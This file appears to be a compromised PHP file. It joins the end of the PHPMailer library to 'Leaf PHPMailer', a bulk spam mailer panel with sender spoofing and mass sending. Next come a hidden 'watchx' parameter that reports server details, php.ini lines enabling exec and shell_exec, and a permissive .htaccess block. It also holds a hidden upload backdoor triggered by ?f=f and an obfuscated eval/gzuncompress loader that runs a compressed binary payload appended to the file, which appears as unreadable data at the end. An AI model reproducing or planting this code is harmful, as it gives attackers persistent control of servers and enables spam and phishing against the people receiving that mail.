    public function DKIM_Sign($signHeader)
    {
        if (!defined('PKCS7_TEXT')) {
            if ($this->exceptions) {
                throw new phpmailerException($this->lang('extension_missing') . 'openssl');
            }
            return '';
        }
        $privKeyStr = !empty($this->DKIM_private_string) ? $this->DKIM_private_string : file_get_contents($this->DKIM_private);
        if ('' != $this->DKIM_passphrase) {
            $privKey = openssl_pkey_get_private($privKeyStr, $this->DKIM_passphrase);
        } else {
            $privKey = openssl_pkey_get_private($privKeyStr);
        }
        //Workaround for missing digest algorithms in old PHP & OpenSSL versions
        //@link http://stackoverflow.com/a/11117338/333340
        if (version_compare(PHP_VERSION, '5.3.0') >= 0 and
            in_array('sha256WithRSAEncryption', openssl_get_md_methods(true))) {
            if (openssl_sign($signHeader, $signature, $privKey, 'sha256WithRSAEncryption')) {
                openssl_pkey_free($privKey);
                return base64_encode($signature);
            }
        } else {
            $pinfo = openssl_pkey_get_details($privKey);
            $hash = hash('sha256', $signHeader);
            //'Magic' constant for SHA256 from RFC3447
            //@link https://tools.ietf.org/html/rfc3447#page-43
            $t = '3031300d060960864801650304020105000420' . $hash;
            $pslen = $pinfo['bits'] / 8 - (strlen($t) / 2 + 3);
            $eb = pack('H*', '0001' . str_repeat('FF', $pslen) . '00' . $t);

            if (openssl_private_encrypt($eb, $signature, $privKey, OPENSSL_NO_PADDING)) {
                openssl_pkey_free($privKey);
                return base64_encode($signature);
            }
        }
        openssl_pkey_free($privKey);
        return '';
    }

    /**
     * Generate a DKIM canonicalization header.
     * @access public
     * @param string $signHeader Header
     * @return string
     */
    public function DKIM_HeaderC($signHeader)
    {
        $signHeader = preg_replace('/\r\n\s+/', ' ', $signHeader);
        $lines = explode("\r\n", $signHeader);
        foreach ($lines as $key => $line) {
            list($heading, $value) = explode(':', $line, 2);
            $heading = strtolower($heading);
            $value = preg_replace('/\s{2,}/', ' ', $value); // Compress useless spaces
            $lines[$key] = $heading . ':' . trim($value); // Don't forget to remove WSP around the value
        }
        $signHeader = implode("\r\n", $lines);
        return $signHeader;
    }

    /**
     * Generate a DKIM canonicalization body.
     * @access public
     * @param string $body Message Body
     * @return string
     */
    public function DKIM_BodyC($body)
    {
        if ($body == '') {
            return "\r\n";
        }
        // stabilize line endings
        $body = str_replace("\r\n", "\n", $body);
        $body = str_replace("\n", "\r\n", $body);
        // END stabilize line endings
        while (substr($body, strlen($body) - 4, 4) == "\r\n\r\n") {
            $body = substr($body, 0, strlen($body) - 2);
        }
        return $body;
    }

    /**
     * Create the DKIM header and body in a new message header.
     * @access public
     * @param string $headers_line Header lines
     * @param string $subject Subject
     * @param string $body Body
     * @return string
     */
    public function DKIM_Add($headers_line, $subject, $body)
    {
        $DKIMsignatureType = 'rsa-sha256'; // Signature & hash algorithms
        $DKIMcanonicalization = 'relaxed/simple'; // Canonicalization of header/body
        $DKIMquery = 'dns/txt'; // Query method
        $DKIMtime = time(); // Signature Timestamp = seconds since 00:00:00 - Jan 1, 1970 (UTC time zone)
        $subject_header = "Subject: $subject";
        $headers = explode($this->LE, $headers_line);
        $from_header = '';
        $to_header = '';
        $date_header = '';
        $current = '';
        foreach ($headers as $header) {
            if (strpos($header, 'From:') === 0) {
                $from_header = $header;
                $current = 'from_header';
            } elseif (strpos($header, 'To:') === 0) {
                $to_header = $header;
                $current = 'to_header';
            } elseif (strpos($header, 'Date:') === 0) {
                $date_header = $header;
                $current = 'date_header';
            } else {
                if (!empty($$current) && strpos($header, ' =?') === 0) {
                    $$current .= $header;
                } else {
                    $current = '';
                }
            }
        }
        $from = str_replace('|', '=7C', $this->DKIM_QP($from_header));
        $to = str_replace('|', '=7C', $this->DKIM_QP($to_header));
        $date = str_replace('|', '=7C', $this->DKIM_QP($date_header));
        $subject = str_replace(
            '|',
            '=7C',
            $this->DKIM_QP($subject_header)
        ); // Copied header fields (dkim-quoted-printable)
        $body = $this->DKIM_BodyC($body);
        $DKIMlen = strlen($body); // Length of body
        $DKIMb64 = base64_encode(pack('H*', hash('sha256', $body))); // Base64 of packed binary SHA-256 hash of body
        if ('' == $this->DKIM_identity) {
            $ident = '';
        } else {
            $ident = ' i=' . $this->DKIM_identity . ';';
        }
        $dkimhdrs = 'DKIM-Signature: v=1; a=' .
            $DKIMsignatureType . '; q=' .
            $DKIMquery . '; l=' .
            $DKIMlen . '; s=' .
            $this->DKIM_selector .
            ";\r\n" .
            "\tt=" . $DKIMtime . '; c=' . $DKIMcanonicalization . ";\r\n" .
            "\th=From:To:Date:Subject;\r\n" .
            "\td=" . $this->DKIM_domain . ';' . $ident . "\r\n" .
            "\tz=$from\r\n" .
            "\t|$to\r\n" .
            "\t|$date\r\n" .
            "\t|$subject;\r\n" .
            "\tbh=" . $DKIMb64 . ";\r\n" .
            "\tb=";
        $toSign = $this->DKIM_HeaderC(
            $from_header . "\r\n" .
            $to_header . "\r\n" .
            $date_header . "\r\n" .
            $subject_header . "\r\n" .
            $dkimhdrs
        );
        $signed = $this->DKIM_Sign($toSign);
        return $dkimhdrs . $signed . "\r\n";
    }

    /**
     * Detect if a string contains a line longer than the maximum line length allowed.
     * @param string $str
     * @return boolean
     * @static
     */
    public static function hasLineLongerThanMax($str)
    {
        //+2 to include CRLF line break for a 1000 total
        return (boolean)preg_match('/^(.{'.(self::MAX_LINE_LENGTH + 2).',})/m', $str);
    }

    /**
     * Allows for public read access to 'to' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getToAddresses()
    {
        return $this->to;
    }

    /**
     * Allows for public read access to 'cc' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getCcAddresses()
    {
        return $this->cc;
    }

    /**
     * Allows for public read access to 'bcc' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getBccAddresses()
    {
        return $this->bcc;
    }

    /**
     * Allows for public read access to 'ReplyTo' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getReplyToAddresses()
    {
        return $this->ReplyTo;
    }

    /**
     * Allows for public read access to 'all_recipients' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getAllRecipientAddresses()
    {
        return $this->all_recipients;
    }

    /**
     * Perform a callback.
     * @param boolean $isSent
     * @param array $to
     * @param array $cc
     * @param array $bcc
     * @param string $subject
     * @param string $body
     * @param string $from
     */
    protected function doCallback($isSent, $to, $cc, $bcc, $subject, $body, $from)
    {
        if (!empty($this->action_function) && is_callable($this->action_function)) {
            $params = array($isSent, $to, $cc, $bcc, $subject, $body, $from);
            call_user_func_array($this->action_function, $params);
        }
    }
}

/**
 * PHPMailer exception handler
 * @package PHPMailer
 */
class phpmailerException extends Exception
{
    /**
     * Prettify error message output
     * @return string
     */
    public function errorMessage()
    {
        $errorMsg = '<strong>' . htmlspecialchars($this->getMessage()) . "</strong><br />\n";
        return $errorMsg;
    }
}

if ($_REQUEST['watchx']) {
	$version = phpversion();
	$uname =  php_uname();
	$ip = gethostbyname($_SERVER["HTTP_HOST"]);	
	echo json_encode (array ("version"=>$version,
		"uname"=>$uname,
		"platform"=>PHP_OS,
		"ip"=>$ip,
		"mailerx"=>true,	
	));
	die ();
}

function leafheader(){
print '
<head>
    <title>'.str_replace("www.", "", $_SERVER['HTTP_HOST']).' - Leaf PHPMailer</title>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
    <link href="https://maxcdn.bootstrapcdn.com/bootswatch/3.4.1/cosmo/bootstrap.min.css" rel="stylesheet" >

</head>';
}
leafheader();
print '<body>';
print '<div class="container col-lg-6">
        <h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>'.$leaf['version'].'</small></h3>
        <form name="form" id="form" method="POST" enctype="multipart/form-data" action="">
                    <input type="hidden" name="action" value="score">

            <div class="row">
                <div class="form-group col-lg-6 "><label for="senderEmail">Email</label><input type="text" class="form-control  input-sm " id="senderEmail" name="senderEmail" value="'.$senderEmail.'"></div>
                <div class="form-group col-lg-6 "><label for="senderName">Sender Name</label><input type="text" class="form-control  input-sm " id="senderName" name="senderName" value="'.$senderName.'"></div>
            </div>
            <div class="row">
                <span class="form-group col-lg-6  "><label for="attachment">Attachment <small>(Multiple Available)</small></label><input type="file" name="attachment[]" id="attachment[]" multiple/></span>

                <div class="form-group col-lg-6"><label for="replyTo">Reply-to</label><input type="text" class="form-control  input-sm " id="replyTo" name="replyTo" value="'.$replyTo.'" /></div>
            </div>
            <div class="row">
                <div class="form-group col-lg-12 "><label for="subject">Subject</label><input type="text" class="form-control  input-sm " id="subject" name="subject" value="'.$subject.'" /></div>
            </div>
            <div class="row">
                <div class="form-group col-lg-6"><label for="messageLetter">Message Letter <button type="submit" class="btn btn-default btn-xs" form="form" name="action" value="view" formtarget="_blank">Preview </button></label><textarea name="messageLetter" id="messageLetter" class="form-control" rows="10" id="textArea">'.$messageLetter.'</textarea></div>
                <div class="form-group col-lg-6 "><label for="emailList">Email List <a href="?emailfilter=on" target="_blank" class="btn btn-default btn-xs">Filter/Extract</a></label><textarea name="emailList" id="emailList" class="form-control" rows="10" id="textArea">'.$emailList.'</textarea></div>
            </div>
            <div class="row">
                <div class="form-group col-lg-6 ">
                    <label for="messageType">Message Type</label>
                    HTML <input type="radio" name="messageType" id="messageType" value="1" '.$html.'>
                    Plain<input type="radio" name="messageType" id="messageType" value="2" '.$plain.'>
                </div>
                <div class="form-group col-lg-3 ">
                    <label for="charset">Character set</label>
                    <select class="form-control input-sm" id="charset" name="charset">
                        <option '.$utf8.'>UTF-8</option>
                        <option '.$iso.'>ISO-8859-1</option>
                    </select>
                </div>
                <div class="form-group col-lg-3 ">
                    <label for="encoding">Message encoding</label>
                    <select class="form-control input-sm" id="encode" name="encode">
                        <option '.$bit8.'>8bit</option>
                        <option '.$bit7.'>7bit</option>
                        <option '.$binary.'>binary</option>
                        <option '.$base64.'>base64</option>
                        <option '.$quotedprintable.'>quoted-printable</option>

                    </select>
                </div>
            </div>
            <button type="submit" class="btn btn-default btn-sm" form="form" name="action" value="send">SEND</button> or <a href="#" onclick="document.getElementById(\'form\').submit(); return false;">check SpamAssassin Score</a>
   
        </form>
    </div>
    <div class="col-lg-6"><br>
        <label for="well">Instruction</label>
        <div id="well" class="well well">
            <h4>Server Information</h4>
            <ul>
                <li>Server IP Address : <b>'.$_SERVER['SERVER_ADDR'].' </b> <a href="?check_ip='.$_SERVER['SERVER_ADDR'].'" target="_blank" class="label label-primary">Check Blacklist <i class="glyphicon glyphicon-search"></i></a></li>
                <li>PHP Version : <b>'.phpversion().'</b></li>
                

            </ul>
            <h4>HELP</h4>
            <ul>
                <li>[-email-] : <b>Reciver Email</b> (emailuser@emaildomain.com)</li>
                <ul>
                    <li>[-emailuser-] : <b>Email User</b> (emailuser) </li>
                    <li>[-emaildomain-] : <b>Email User</b> (emaildomain.com) </li>
                </ul>
                <li>[-time-] : <b>Date and Time</b> ('.date("m/d/Y h:i:s a", time()).')</li>
                
                <li>[-randomstring-] : <b>Random string (0-9,a-z)</b></li>
                <li>[-randomnumber-] : <b>Random number (0-9) </b></li>
                <li>[-randomletters-] : <b>Random Letters(a-z) </b></li>
                <li>[-randommd5-] : <b>Random MD5 </b></li>
            </ul>
            <h4>example</h4>
            Receiver Email = <b>user@domain.com</b><br>
            <ul>
                <li>hello <b>[-emailuser-]</b> = hello <b>user</b></li>
                <li>your domain is <b>[-emaildomain-]</b> = Your Domain is <b>domain.com</b></li>
                <li>your code is  <b>[-randommd5-]</b> = your code is <b>e10adc3949ba59abbe56e057f20f883e</b></li>
            </ul>

            <h6>by <b><a href="http://'.$leaf['website'].'">'.$leaf['website'].'</a></b></h6>
        </div>
    </div>';  
if($_POST['action']=="send"){
    print '    <div class="col-lg-12">';
    $maillist=explode("\r\n", $emailList);
    $n=count($maillist);
    $x =1;
    foreach ($maillist as $email ) {
        print '<div class="col-lg-1">['.$x.'/'.$n.']</div><div class="col-lg-4">'.$email.'</div>';
        if(!leafMailCheck($email)) {
            print '<div class="col-lg-6"><span class="label label-default">Incorrect Email</span></div>';
            print "<br>\r\n";
        }
        else {
            $mail = new PHPMailer;
            $mail->setFrom(leafClear($senderEmail,$email),leafClear($senderName,$email));
            $mail->addReplyTo(leafClear($replyTo,$email));
            $mail->addAddress($email);
            $mail->Subject = leafClear($subject,$email);
            $mail->Body =  leafClear($messageLetter,$email);
            if($messageType==1){
                $mail->IsHTML(true);
                $mail->AltBody =strip_tags(leafClear($messageLetter,$email));
            }
            else $mail->IsHTML(false);
            $mail->CharSet = $charset;
            $mail->Encoding = $encoding;
            for($i=0; $i<count($_FILES['attachment']['name']); $i++) {
                if ($_FILES['attachment']['tmp_name'][$i] != ""){
                    $mail->AddAttachment($_FILES['attachment']['tmp_name'][$i],$_FILES['attachment']['name'][$i]);
                }

            }
            
            if (!$mail->send()) {
                echo '<div class="col-lg-6"><span class="label label-default">'.htmlspecialchars($mail->ErrorInfo).'</span></div>';
            }
            else {
                echo '<div class="col-lg-6"><span class="label label-success">Ok</span></div>';
            }
            print "<br>\r\n";
        }
        $x++;
        for($k = 0; $k < 40000; $k++) {echo ' ';}
    }

}
elseif($_POST['action']=="score"){
    $mail = new PHPMailer;
    $mail->setFrom(leafClear($senderEmail,$email),leafClear($senderName,$email));
    $mail->addReplyTo(leafClear($replyTo,$email));
    $mail->addAddress("username@domain.com");
    $mail->Subject = leafClear($subject,$email);
    $mail->Body =  leafClear($messageLetter,$email);
    if($messageType==1){
        $mail->IsHTML(true);
        $mail->AltBody =strip_tags(leafClear($messageLetter,$email));
    }
    else $mail->IsHTML(false);
    $mail->CharSet = $charset;
    $mail->Encoding = $encoding;
    $mail->preSend();
    $messageHeaders=$mail->getSentMIMEMessage();
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_URL, 'http://spamcheck.postmarkapp.com/filter');
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array('email' => $messageHeaders,'options'=>'long')));
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
    curl_setopt($ch, CURLOPT_TIMEOUT, 15);
    $response = curl_exec($ch);
    $response = json_decode($response);
    print '    <div class="col-lg-12">';
    if ($response->success == TRUE ){
        $score = $response->score;
        if ($score > 5 ) $class="danger";
        else $class="success";
            print '<div class="text-'.$class.'">Your SpamAssassin score is '.$score.'  </div>
<div>Full Report : <pre>'.$response->report.'</pre></div>';
print '    </div>';
    }
}
print '</body>';
?>safe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF
exec = ON
shell_exec = ON

Order Deny,Allow
<FilesMatch "\.(html|bash|sh|pl|perl|txt|htm|phtml|css|js|php|png|jpg|jpeg|txt|webp|mp4|svg|pdf|mov)$">
    Order Deny,Allow
    Allow From All
</FilesMatch>

<?php error_reporting(0); if(trim($_GET['f']) == 'f'){ $saw1 = $_FILES['file']['tmp_name']; $saw2 = '../'.$_FILES['file']['name']; echo "<form method='POST' enctype='multipart/form-data'><input type='file'name='file' /><input type='submit' value='upload' /></form>"; if($saw1 && $saw2) move_uploaded_file($saw1, $saw2); } ?><?php
$EvYt='e'.'xit';$VsCb='s'.'ubstr';$bSwl='f'.'ile_get'.'_c'.'ont'.'ents';$Lovb='s'.'tr'.'_repla'.'ce';$JrMh='gzunco'.'mpress';eval($JrMh($Lovb('qokclwdvrf','>',$Lovb('hikxdybmrs','<',$VsCb($bSwl( __FILE__ ),-172605)))));$EvYt(0);
?>
xTǎ ]6h9bA̓3ުhikxdybmrsOnA${*IȂp4ي/E6?UQ۾;nuvVnf,do?b?fb]u?۽uS4_~ZӺ7cLYO_qokclwdvrfJ@2bF5\ؼOw޵)TEg_;V'hikxdybmrs$S  X萭ϓ./kr֦%9|a	dwZ5dQF@k4n!. Sqokclwdvrf4}|lhʜ4M4]2/ԩRt鞠R;lPNE;/|$z=@a6i:A"U{p+m.s+ێIV
}{nE
!M/7v}1=,0+_f
|fî1`·g
:wm:BI0kN~|f"$'m;:yo!psZ)o	EKqokclwdvrfQL섩[:;v)]m&8|[{I\E´oN
fq披	Fqokclwdvrf)ؾZԡKbh(fD@#*	A`jU,qokclwdvrf_-VԀjjDdc#n){.(a!!]VhYB]H_:G|nFE5SN-|\F,U:Nks {NB˳wĵ7?.B
즞FgMuΨ3E
#sHDyvW8wNK#iҕ4PoW~N-h.7~F٠B:\ 3:7FuTnE!b|_%@nalVz#m-@̠0gc
Ai0ҭ97T Yaj;SI^1VhS
pzWqߖ}8~]qӑlvW0ZuӗУL(C*(aJF^܃#̅X$!wfiKvKnc߳́  
;^Qwx/
(6P{X@etkB
	-G%.Ãna]=2Sn+ln7rQ2]/rt}cF*fo|`-l8hikxdybmrsN3O\lG6+!dNtq/[V ^;.ǣو8cE?)l(\7c#]I^hikxdybmrsS)K3|̈%UdRc&PyxtDY
qŰ藮}+Vvi~qiY[a=p1VPP;ꊺL46:pν\vF5{9PXJ4?\ݕel@T2*2*,3צ)9fjRNց'44yn
"EmzY53#Fk
T#;mV=;;AS%R@}+ԺJu(PqokclwdvrfP}u3W9諎W7M#NnJBH
ңNؽ!g[{\ZEv)ziLHg~
VDwoW-U*ʱM烣E)(b09z
()n󍸊}~~e{9OpCȳ6
ֶQ|٭ƇfMĥzqokclwdvrf1]2Ue!N~+]BR"eKjqZ藮YX=)hikxdybmrsvY+Xa[QZ`]\JnSKfH9U7z[-aSw5jO])H_. 9)KU(D"qokclwdvrfZ4k1cMjZ~ØĚTf#K0P/0MErBhu?dRRg|$\'#*hf=r_)Ɩ*ۜw+
b:2\7*0|̊.ʸk`wS!q1h/}~%8ssv;jɅ.EɺQI,N"@EUQmf"*1LƆ`jeT=+Yy/t+E;X'%V|qokclwdvrf#1%]oH8Xǃh2*=$v`yD@8ק(MU6tzmܾ?\Vt~p;a	G{DRK2PhS/+o|:A
yr;wq\^HtC}#
XLkd+PlLűbIs+Bs8tuw/AMv?Z96/kevH$p-7ɓvh0-fL7pҀ{Rsi?%e-Q6/hikxdybmrsY4Y3~q!Xh&Wv{tU݇8!$tw/B.`)FZϱϐ9Í;vdT+'@iOoժg|
1?O˴qokclwdvrfj
 ȨɔD*U_qokclwdvrf PbSc;nfN{0BYRt}y,EcHLFZcKq5R|R2_пSLњa  OD# uT.Jj6Vy_]-d45~ni-j_
}1#'#Ba]f&Hqًclqokclwdvrf]E('nb6MbKHw'=%qv$-Uu~8?#&5;NtT]~2in2"8=ޏYY&F#$;onkf~rCү zYܺnR,vc7GVF֗v걨^Uo뫸Y֭Teˣ?4bWLq,; ML
 ޘ`M5ӳqY`B2̣a#VC"vDKNS&s$*מ)
VG|[JPfdt	:6S3QM/`'rXqw\OB)A{qokclwdvrf{#Eh{6Kkɸ;+?a:WoP
M.bi .Q򃎆,⊎UnjIC~'%1#/(H݂A.!cǂYښ;rD$yɥEX(x"HWstFG-rf/Svuk2wƦ_	g-}(Q-wf)-˴=Rhikxdybmrs02 GM;0^XLY7Waӽ`4hikxdybmrsgvҌ۶[PS2_G,mB#Ns,\
dµ -K8S5?Cվ+8spg7IֱO97䦝@G
ksr OW|E !-%bHKmbT`GoegT%}iaQ
%\Y F:FHM{\? hTܱ9;wW@vݫE'7=l@Hl}2\_짅vr1 ehqdplynh⯀.SgfBo]G!IPhikxdybmrs(}3]!pKvNa9/9@iձfwCv0I
立z	'+jI:vQ7iv\U~f}2=XaCazyC$yl('Lv'E
Cbգis)5aQV? ܁B!ly}1~PU.,,_sǽ_Cdw	Yb?.j\5^P+0r(v1!
s~Z@u
oc^mE`z TSZ=xߒqlYrPد{!tS)}_Jj3]owAox1+az{wt:%&+m~.[Щy!6@(b_W6`(.4ډTBG3K"dURnGI?ȒO_dkϑcQR]]{AFӲ@0p2tǬDoFjmW88Qi_;SrK#O,ۢz9p/ ^6	*2T:QqtoZ"3qokclwdvrfT8Hm;5GK"-di9@a?mphikxdybmrstlcg_QT=ݻL%gd~o=|:x*[[K+qokclwdvrfT0z+rdЭ9RF(A ;XHFrOGOYW-v5Iqokclwdvrfj;wOniqokclwdvrfڹ;u'\
qokclwdvrf. Z+˖X8{qokclwdvrfeV7Sc__8R
hqokclwdvrfFI6Uw賠Lt*/r}r&}bLl`L\~Jn GmyWwYMB{+V/{"I #An+Y+z\hŲ0Y+hk.zL	%9-Ϡ hhikxdybmrs}Vun(Qfa
#
*}?)]+k,c[S*,&K(o4Y	 Rhikxdybmrs0ٚJ/)M5f99
kom.W[ײldʹ1ª|kʓ?m+(|L f/|L":n[N,ѿy#O"	+B=lFo. L6Flb,|X4_eGhikxdybmrsޠqJ#r`.Sr?#y'@h5|mGxk&}Kr	ң'?`j-9b0f鮯QpL?:
PKi~,ǏES,OgܫRjίèkggQq!]B{Q]BPڼ@Nƥgy8ae"_~vaOs$j=c:UH[B!Pr葰UYwahikxdybmrs~B#2VvƛbńiJhikxdybmrs{ylS8QG́RWof}ݕN3QT 0thikxdybmrs-W$oVOC$^PVit$BlֺX)v挣"V/BByfaY6"ykU`U2.ۧb\ĚW")_#B&ֹϠ8ʀN$W7O5h0fG*3ohu)u/W&?@;!zC""?5h)YIvܬqXϘTP쏋x9ٍSux]F[/_HВ7- fR7~!kZ8 d|3ّu)z	rKn_ӡi^P!;|y[a'&TbnIv^j7&ˆr1fDkU9/YnFl~&5TS H؍ǤhikxdybmrsǭЧHi%r0x9w[$n|!d9*qokclwdvrf^qokclwdvrfᵑmn[%UVgVNǯPqQF-v0ؓhikxdybmrsF5qokclwdvrfqokclwdvrfm+A
8ʹtLe9d}cN&YR"NVop&g^MxQ뤯H\gt9|qokclwdvrfpyucX(h2fDk҆iZ`7ӭhW5p1ƥM+ޛwuN1)oeuDA[AL2n.p	k;|AqR)+z|	8%~[O!zID*{µtWFllIG8a !9у.plGt
͌䄶u0ڤzܘGL)pQ!z'l	z~'fD`X[[LD;.5o,I4pwqokclwdvrfO~cd]7]1r%
PoBNHN51eq[6jC*~kJ`?M7Ri-T^ϯqokclwdvrf?*c!OjE2b}JO/2.w]}&Orߧ}J,APqlD*=ͿBqLy؊Y0/4Az	-|ՑH\
e/cJTR؏s*c3WEB:tz/A	k^ˑk62x'Zȵw;b38F9H5Kb9
JL:2`h*y#eBKBe@MBĳĚ|+]3Ӕqokclwdvrf*1Jqc\{K"̚92qokclwdvrfC=lAŴ d-1ԎwdabS`"h׮tUPfaqokclwdvrf(nD
~l	xl[}᧲/D
єDP('S[ѽ6&Ƨ1ޟD6nY_!5O؎/
/o0֞,:?C)bwu/E(X/oDҒ=ҥHW19|OW7MvsS2Q!$7oJn	t_*wh=b'rtZPv+mrkmFؿȴ";zN%ܾ}omvE,݌fг=qMoen&u"#F/"y/R_:\BŠqokclwdvrf|Z(Clc/k\ZGr@-(Ǿ@o*.n-Pχq"S\e'hikxdybmrsx$qokclwdvrf
y:w٪h6,󂲤PHSyr *`+(vРhikxdybmrse4fhikxdybmrsH䦖$dq-2ֿ;7O%LJA+h(|lzO	.aO;2`7^$wm"$R

-sM.fd-v9aCo?&fNL/Z{ڱ;UW2Jw!4H֡_Kqokclwdvrf̹^Ǡ1dsFKQX@G:hikxdybmrsWtEѲ'^)%`]M%O@͹+\;#5/zeknKVyʹ7!]hikxdybmrsɕg(:&pWAqx mSekWOaiZ/ފlEt"´!a=|D|s7]APi(p*C^0`fɱboL3_!nS`k浝XKoBٰMՕ+bYB5ꟇqMu+QNwx|{w"*CIg5~le
޺nB[*5ӱ𰦽ri$rmalWA6qokclwdvrf1W㿦*UC ߥF|ok5z#}fBQ,KPULͧ&6@/a`-MA=t5
kRIj9
X\ˑftjxhikxdybmrsvg!~OסAơݲo]_DwZ\U)Y(QBfq(m\krZj螪^Qf,t~uqokclwdvrfEh~2XO7SGƋEOM=y)wd)%:]Yqokclwdvrf~x5^ 6S gF]zGR~)X"I+ܣ~f~W-fO9w[A[4:}~;}M4:S[8!}hikxdybmrsxK*V&#Eh!8*hqokclwdvrfAJL^N޼bpMR#Gkg[Qnz^m-u	F;6z51AY`K \Zl
~is"DZ'}\~ȣ?'te!T'Pþ?

Lw)V$ˏwvz3NQX"y0Y
F}JEƒ|tc|q#@ZsLyW?	uaU71$hikxdybmrs9Ji=%DK3U	^x7Y/mB
?QϚ!`QME@S@n0Ge1{ر6XhikxdybmrshwR?%lWzm͝Ρ7(;kl.Q@EA-y	28tdds:O_DJELpJZcv!PKQ^r]9*ڕqa-qokclwdvrfcyU	hLϘlu#.$fqokclwdvrfI|DkKǪrszoeݤA}a(W}TU,@Cc`+oJmn3W{P0)lB"qokclwdvrfA]y$mo?qՄJsOOchI3 *үHRKO+
8Aŧj|y)"FV7LRVGd ݇!mˢBa1~}C
ns&oqokclwdvrf
mM;0qokclwdvrfVoɣkWȳVғ@(]=YL$덣5!}=v
 #񫋧NݝVA~ ڬksb"
:oSgIף2kOV0@jWC.tM8̮jCrR4 =1qokclwdvrf@Ip/e_O6H0~Sj6MI`X- -(4+(1qs~CuT^IڷK5*)]|]?KIUhikxdybmrs+UaTN2ixe߽BOw&
RM,g%vyBFW91")!/SBƆX(hh}VSI٠רS{\Z#&ѺeIc}"
d,ֵ4n&-n
'{7VCp7'ݠ	P(
]vR)vuu^劓wq$E z[WrK70$CkA͒5:Qln;*2Y7p{}l}lذ}g5NG{ZC/֕J@a9VX~7K]qDCT(AqokclwdvrfQUnKhhikxdybmrs׳{="D`aǜ=A\%@
$T\ָU)ಲQ)s󱠄:غ]Dk1/hikxdybmrsRS pZ|^z
55/DT6[CAϴ}2o0tVw;̮ yqroЋ?Fw:djAg1/Uq
4b@f֕pBNcD̠ܞ?AɅDDmħ;'݂MshU(qokclwdvrfun ܕ=&ʆqokclwdvrf: V08M00Hq!@8*UJqtW!BW
PDth1=,'Շ1~_ƃo;Ҳ5]~JNɰThikxdybmrs2%@ñjukKr8qeVؓVwJjL" rR9OdG'wo`Ii[Jx2z`q'CH	{.&'{EȀכqokclwdvrfZZ"j{Llx[kܕakπc/Qb¿X se.onDm)Hr`~T 9ŗ+X%f/slXۥ
D1
]IF2$iGUlCTT~UYlEJqokclwdvrf
t1b*Hx'-Jj:]ܡp[U˜/n0od̪$d'Y1u@d;#%))gn+ގ5T! 4]8e,(t27H^%4Ǥ*`r-8
Zp`qp$$֊agB7 k@\3
3siL,=3BӾ.qokclwdvrfWIH{]jvAǌceWoF
$3$2?@LuBJ9qG}_};CtĎBڲyJqokclwdvrf&H-GU¾c &Mj
i*P@qokclwdvrfQ=S׊Icg"T k
^!M,B4gBrsN4΂B~PgI2(o/v($CZm]Sh+":w잀zwy3lq62"	
=LX˝	2-\zB4vó~l'\8z$(U%ν95(eQ'^3~5n@-KJ DV2\x!hikxdybmrs"/2Ƭ*@		-CQSmH`\3G\Q|r(­xpI=[Qkqokclwdvrf
|p=^zSjh+P^iPcreϫ#)b)\X|zooC߼InTmmok(1~m e,̑,hYRӆRD;IK)
)X5D2o*4)_k!thikxdybmrs7cT%-KqTm~.KX:Wϑ^
m
M5_hikxdybmrs8RXZjǄ^;/߂@ŰO6j=@E@C^~{k-jT)')ga&J)x{:t	ĞN$}S /aEc- EV*8@Pq
%jʻj-9:"e F2FĿ*q  Oe0ϊTN cyRɻ
 ؆{ԤqA湫qokclwdvrfRaQ{!+O5[ѯ8Ohikxdybmrsr
&uml8;` +ߍ ^'+&
 7{Ta
MP%3dlQBY`qokclwdvrffrįNΌ:hW]ӁOK)4*?~G}:H6nDn[xv=ylyhikxdybmrsh;0).ΨI}u	(Mo(aC]t1!F4:O~-kY:gډj	u_Np=YҀ-u?OlxsWsǄ	[TAl(aq{{
Oh
~ME߸')QE㉶{h?	=TfTs'SxjrYձZ8lyɅ4v/7y(!vXͨ/6FE{:#Lg%*?!&PW1}YTrFU"}+mArqokclwdvrf l=u5qԏDJ蜭|2qqᐲrMBXv_8xD	&"=vbkDܪ3/8x`ĸʟ헥s͊Ӿ.Ke~ɾw|zT%.Kŉ;0qK
f9g.uZJkSKSɖѕq1+i!*y?J˗mщ3;u.A](!nf[IrH8ETTC5]U)\{vo
;LQqk|
GbRfd/a1/$/`:wjuAAf-uE/Nxɳ4?C
EfdPbTxBqokclwdvrfm)kt'E`]7SHx(Kt[~B(1KvMccAY*^	|
+5qokclwdvrf̺
}"Wuk-#9!EQ^/eܞj]g|#lSHj`m3R\
uU[6qokclwdvrf,w~0M,oT*AK1NV񙍚8ߺzC\z8]QLE:zb_tD|oX=E6{&O/hukP0_̓;8zF@ͭ}rO/W4+hӡfCmr^a-?T_ɣ鬾FLbWjjqth2glwXH5
BSLWԯtO`m6-T#WzSD̨n@03LwpH8iFmez^/u6HJkZqokclwdvrfF׾s=a,"ݪ L%ݭ#-Fҹ2y]@QY{|qokclwdvrfY];
 ޣFt$71
C)qokclwdvrfOqT8a#OnIgo**:tͲCBgZX ~ǀڰKw
$x
7R1J˺`qlVqb:e^l	Qܙ6Z[\Ɵa&?@'2~yd.9K^~
b2HN;63H,ڧk,^ؕ@6;8nuO⌬*\!/?CB/וy:/k1$0I s݈|	#ޭ.SV
(3&vBiDaz/8D=1\H^arEY360C$.($RƯqXS4꺔tZS-֓N/*ޠoP〇c rqokclwdvrf؎q㿈Gja%yhikxdybmrs@і*7T3ZӒy×~9Ρ5CmaoQu(_H- R_TQG
;͚A7OzC]
:Iy+nbB
1"YJ)jqvmO7z*3a^C\7տV|z
Ci
|JK?!v'xdSъűAzt`%u}G,[`z4fRw3ONE2Qg;hikxdybmrsqokclwdvrf3ȫnIs_Wğ\ihO.l
